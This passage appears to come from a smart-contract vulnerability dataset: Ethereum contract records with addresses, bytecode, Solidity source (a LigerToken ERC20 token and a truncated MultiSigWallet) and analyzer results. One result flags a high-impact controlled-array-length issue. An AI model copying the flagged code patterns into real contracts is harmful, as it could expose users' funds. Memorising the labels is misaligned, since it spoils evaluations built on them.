09150505481565b600c5481565b600160a060020a031660009081526014602052604090205490565b600154600160a060020a031633146114ad57600080fd5b60015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600160a060020a03821660009081526017602052604090205460ff161561154457600080fd5b336000908152601b602052604090205460ff16151560011461156557600080fd5b600d5460ff16151560011461157957600080fd5b600160a060020a0382166000908152601460205260409020546115a2908263ffffffff61216916565b600160a060020a0383166000908152601460205260408120919091556115cb9083908390612179565b600054604080518381529051600160a060020a03808616931691600080516020612298833981519152919081900360200190a35050565b60075481565b600054600160a060020a031681565b303190565b6002805460408051602060018416156101000260001901909316849004601f81018490048402820184019092528181529291830182828015610be45780601f10610bb957610100808354040283529160200191610be4565b600a5481565b33600090815260176020526040812054819081908190819081908190819060ff16156116a557600080fd5b600160a060020a038a1660009081526017602052604090205460ff16156116cb57600080fd5b600d5460ff1615156001146116df57600080fd5b6116e833611006565b9650888710156116f757600080fd5b33600160a060020a038b16141561170d57600080fd5b600160a060020a038a81166000908152601a602052604090205416151561188257600160a060020a038a166000908152601a60205260409020805473ffffffffffffffffffffffffffffffffffffffff191633179055600c5489106117ee576000600b5411156117d657600b54336000908152601460205260409020546117ab919061179f908c63ffffffff61223416565b9063ffffffff61216916565b336000818152601460205260409020919091556117c8908a612249565b6117d633600b546000612179565b6000600a5411156117e957600a54890198505b61182b565b3360009081526014602052604090205461180e908a63ffffffff61223416565b3360008181526014602052604090209190915561182b908a612249565b600160a060020a038a16600090815260146020526040902054611854908a63ffffffff61216916565b600160a060020a038b1660009081526014602052604081209190915561187d908b908b90612179565b611b28565b336000908152601460205260409020546118a2908a63ffffffff61223416565b336000818152601460205260409020919091556118bf908a612249565b6000600e541180156118d457506064600e5411155b15611aaf57600e546064908a02600160a060020a03808d166000908152601a60209081526040808320549093168083526014909152919020549290910497509550611925908763ffffffff61216916565b600160a060020a03861660009081526014602052604081209190915561194e9086908890612179565b6000600f5411801561196357506064600f5411155b80156119885750600160a060020a038581166000908152601a60205260409020541615155b15611aaf57600f546064908a02600160a060020a038088166000908152601a602090815260408083205490931680835260149091529190205492909104955093506119d9908563ffffffff61216916565b600160a060020a038416600090815260146020526040812091909155611a029084908690612179565b6000601054118015611a175750606460105411155b8015611a3c5750600160a060020a038381166000908152601a60205260409020541615155b15611aaf575050601054600160a060020a038281166000908152601a60209081526040808320549093168083526014909152919020546064928a029290920491611a869083612169565b600160a060020a038216600090815260146020526040812091909155611aaf9082908490612179565b600160a060020a038a16600090815260146020526040902054611ad8908a63ffffffff61216916565b600160a060020a038b16600090815260146020526040812091909155601154118015611b075750606460115411155b15611b1c5761187d8a8a601154606403612179565b611b288a8a6000612179565b604080518a81529051600160a060020a038c169133916000805160206122988339815191529181900360200190a35060019998505050505050505050565b60176020526000908152604090205460ff1681565b336000908152601b602052604081205460ff161515600114611b9c57600080fd5b336000818152601660209081526040808320600160a060020a03891680855290835292819020879055805187815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a36040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018690523060448401819052608060648501908152865160848601528651600160a060020a038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015611c8d578181015183820152602001611c75565b50505050905090810190601f168015611cba5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611cdc57600080fd5b505af1158015611cf0573d6000803e3d6000fd5b506001979650505050505050565b601c6020526000908152604090205481565b600054600160a060020a03163314611d2757600080fd5b600160a060020a03919091166000908152601b60205260409020805460ff1916911515919091179055565b600154600160a060020a031681565b60045460ff16600a0a0290565b600160a060020a03918216600090815260166020908152604080832093909416825291909152205490565b336000908152601b6020526040812054819060ff161515600114611dbc57600080fd5b5060009050805b8351811015611eb357611e288382815181101515611ddd57fe5b90602001906020020151601460008785815181101515611df957fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff61216916565b601460008684815181101515611e3a57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558351611e9890859083908110611e6f57fe5b906020019060200201518483815181101515611e8757fe5b906020019060200201516000612179565b611ea983828151811015156112c957fe5b9150600101611dc3565b60008054600160a060020a0316815260146020526040902054611313908363ffffffff61223416565b600d546000908190819060ff161515600114611ef757600080fd5b3360009081526017602052604090205460ff1615611f1457600080fd5b60008411611f2157600080fd5b611f2a33611006565b915083821015611f3957600080fd5b336000908152601460205260409020548410611f5457600080fd5b60045460065460ff909116600a0a908502811515611f6e57fe5b04905030318110611f7e57600080fd5b604051339082156108fc029083906000818181858888f19350505050158015611fab573d6000803e3d6000fd5b50611fb63385612249565b33600090815260146020526040902054611fd6908563ffffffff61223416565b336000818152601460209081526040808320949094559054835185815293519293600160a060020a0390911692600080516020612298833981519152929181900390910190a35060019392505050565b336000908152601b602052604090205460ff16151560011461204757600080fd5b600160a060020a038216600081815260176020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600d5460ff1681565b600160a060020a039081166000908152601a60205260409020541690565b60105481565b60196020528160005260406000208181548110151561146057fe5b600054600160a060020a0316331461210a57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461215057600080fd5b600d805460ff1916911515919091179055565b60125481565b81810182811015610c7557600080fd5b600160a060020a038316600081815260196020908152604080832080546001818101835591855283852001879055848452601883528184208054918201815584528284206201518087024281900391909201819055600854958552601490935292205491929091108015906122065750600160a060020a0385166000908152601c60205260409020546001115b1561222d57601354600160a060020a0386166000908152601c602052604090204290910190555b5050505050565b60008282111561224357600080fd5b50900390565b600160a060020a038216600090815260156020908152604080832080548501905560085460149092529091205410156113da5750600160a060020a03166000908152601c60205260408120555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582015858595f06c089130d467710ab650d60d9d61b8f6dbd2139483db0a8516469c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
7,374
0x4846dc793ab94c4811c74ac6be1619cbfa748fb2
pragma solidity 0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); } } contract Owned { address public owner; function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } contract LigerToken is BurnableToken { string public constant name = "LIGER"; string public constant symbol = "LIC"; uint8 public constant decimals = 18; /// Maximum tokens to be allocated (2.7 billion LIC) uint256 public constant HARD_CAP = 2700000000 * 10**uint256(decimals); /// The owner of this address will distribute the locked and vested tokens address public ligerAdminAddress; /// This address holds the initial Liger Team tokens address public teamTokensAddress; /// This address holds the Liger Advisors tokens address public advisorsTokensAddress; /// This address is used to keep the tokens for sale address public saleTokensAddress; /// This address is used to keep the Liger Bounty Tokens address public bountyTokensAddress; /// Store the whitelisted addresses that the first exchange will use before listing mapping(address => bool) public whitelisted; /// when the token is listed on an exchange, the trading will be opened bool public tradingOpen = false; modifier onlyAdmin { require(msg.sender == ligerAdminAddress); _; } function LigerToken(address _ligerAdminAddress, address _teamTokensAddress, address _advisorsTokensAddress, address _saleTokensAddress, address _bountyTokensAddress) public { require(_ligerAdminAddress != address(0)); require(_teamTokensAddress != address(0)); require(_advisorsTokensAddress != address(0)); require(_saleTokensAddress != address(0)); require(_bountyTokensAddress != address(0)); ligerAdminAddress = _ligerAdminAddress; teamTokensAddress = _teamTokensAddress; advisorsTokensAddress = _advisorsTokensAddress; saleTokensAddress = _saleTokensAddress; bountyTokensAddress = _bountyTokensAddress; whitelisted[saleTokensAddress] = true; whitelisted[bountyTokensAddress] = true; /// Maximum tokens to be allocated on the sale /// 2.025 billion LIC uint256 saleTokens = 2025000000 * 10**uint256(decimals); totalSupply_ = saleTokens; balances[saleTokensAddress] = saleTokens; /// Team tokens - 405 million LIC uint256 teamTokens = 405000000 * 10**uint256(decimals); totalSupply_ = totalSupply_.add(teamTokens); balances[teamTokensAddress] = teamTokens; /// Advisors tokens - 135 million LIC uint256 advisorsTokens = 135000000 * 10**uint256(decimals); totalSupply_ = totalSupply_.add(advisorsTokens); balances[advisorsTokensAddress] = advisorsTokens; /// Bounty tokens - 135 million LIC uint256 bountyTokens = 135000000 * 10**uint256(decimals); totalSupply_ = totalSupply_.add(bountyTokens); balances[bountyTokensAddress] = bountyTokens; require(totalSupply_ <= HARD_CAP); } /// @dev whitelist an address so it&#39;s able to transfer /// before the overall trading is opened function whitelist(address _address) external onlyAdmin { whitelisted[_address] = true; } /// @dev open the trading for everyone function openTrading() external onlyAdmin { tradingOpen = true; } /// @dev Trading limited - requires the token sale to have closed function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if(tradingOpen || whitelisted[msg.sender]) { return super.transferFrom(_from, _to, _value); } return false; } /// @dev Trading limited - requires the token sale to have closed function transfer(address _to, uint256 _value) public returns (bool) { if(tradingOpen || whitelisted[msg.sender]) { return super.transfer(_to, _value); } return false; } }
0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bb57806318160ddd1461021557806323b872dd1461023e578063313ce567146102b75780633a03171c146102e657806342966c681461030f578063661884631461033257806370a082311461038c5780637b0de015146103d957806384321b411461042e57806388ea70ee1461048357806395d89b41146104d85780639b19251a14610566578063a9059cbb1461059f578063afa31744146105f9578063c9567bf91461064e578063d20f502914610663578063d73dd623146106b8578063d936547e14610712578063dd62ed3e14610763578063ffb54a99146107cf575b600080fd5b341561013857600080fd5b6101406107fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610180578082015181840152602081019050610165565b50505050905090810190601f1680156101ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c657600080fd5b6101fb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610835565b604051808215151515815260200191505060405180910390f35b341561022057600080fd5b610228610927565b6040518082815260200191505060405180910390f35b341561024957600080fd5b61029d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610931565b604051808215151515815260200191505060405180910390f35b34156102c257600080fd5b6102ca6109ba565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f157600080fd5b6102f96109bf565b6040518082815260200191505060405180910390f35b341561031a57600080fd5b61033060048080359060200190919050506109d0565b005b341561033d57600080fd5b610372600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b30565b604051808215151515815260200191505060405180910390f35b341561039757600080fd5b6103c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dc1565b6040518082815260200191505060405180910390f35b34156103e457600080fd5b6103ec610e09565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561043957600080fd5b610441610e2f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561048e57600080fd5b610496610e55565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104e357600080fd5b6104eb610e7b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561052b578082015181840152602081019050610510565b50505050905090810190601f1680156105585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561057157600080fd5b61059d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eb4565b005b34156105aa57600080fd5b6105df600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f6b565b604051808215151515815260200191505060405180910390f35b341561060457600080fd5b61060c610ff2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561065957600080fd5b610661611018565b005b341561066e57600080fd5b610676611091565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106c357600080fd5b6106f8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110b7565b604051808215151515815260200191505060405180910390f35b341561071d57600080fd5b610749600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112b3565b604051808215151515815260200191505060405180910390f35b341561076e57600080fd5b6107b9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112d3565b6040518082815260200191505060405180910390f35b34156107da57600080fd5b6107e261135a565b604051808215151515815260200191505060405180910390f35b6040805190810160405280600581526020017f4c4947455200000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600960009054906101000a900460ff16806109975750600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156109ae576109a784848461136d565b90506109b3565b600090505b9392505050565b601281565b601260ff16600a0a63a0eebb000281565b600080821115156109e057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a2d57600080fd5b339050610a81826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172790919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ad88260015461172790919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c41576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd5565b610c54838261172790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4c4943000000000000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1057600080fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600960009054906101000a900460ff1680610fd15750600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610fe757610fe08383611740565b9050610fec565b600090505b92915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561107457600080fd5b6001600960006101000a81548160ff021916908315150217905550565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061114882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156113aa57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113f757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561148257600080fd5b6114d3826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611566826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561173557fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561177d57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156117ca57600080fd5b61181b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118ae826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561197357fe5b80915050929150505600a165627a7a72305820640b66f43702969d02ed0850e73f469815ca75aecf445f228ad8a697fe236a590029
{"success": true, "error": null, "results": {}}
7,375
0x71da31e0a3100f964f5bd3b498cafbf26e82e46c
pragma solidity ^0.4.15; // File: contracts/multisig/MultisigWallet.sol /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="cbb8bfaeadaaa5e5acaea4b9acae8ba8a4a5b8aea5b8b2b8e5a5aebf">[email&#160;protected]</a>> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == 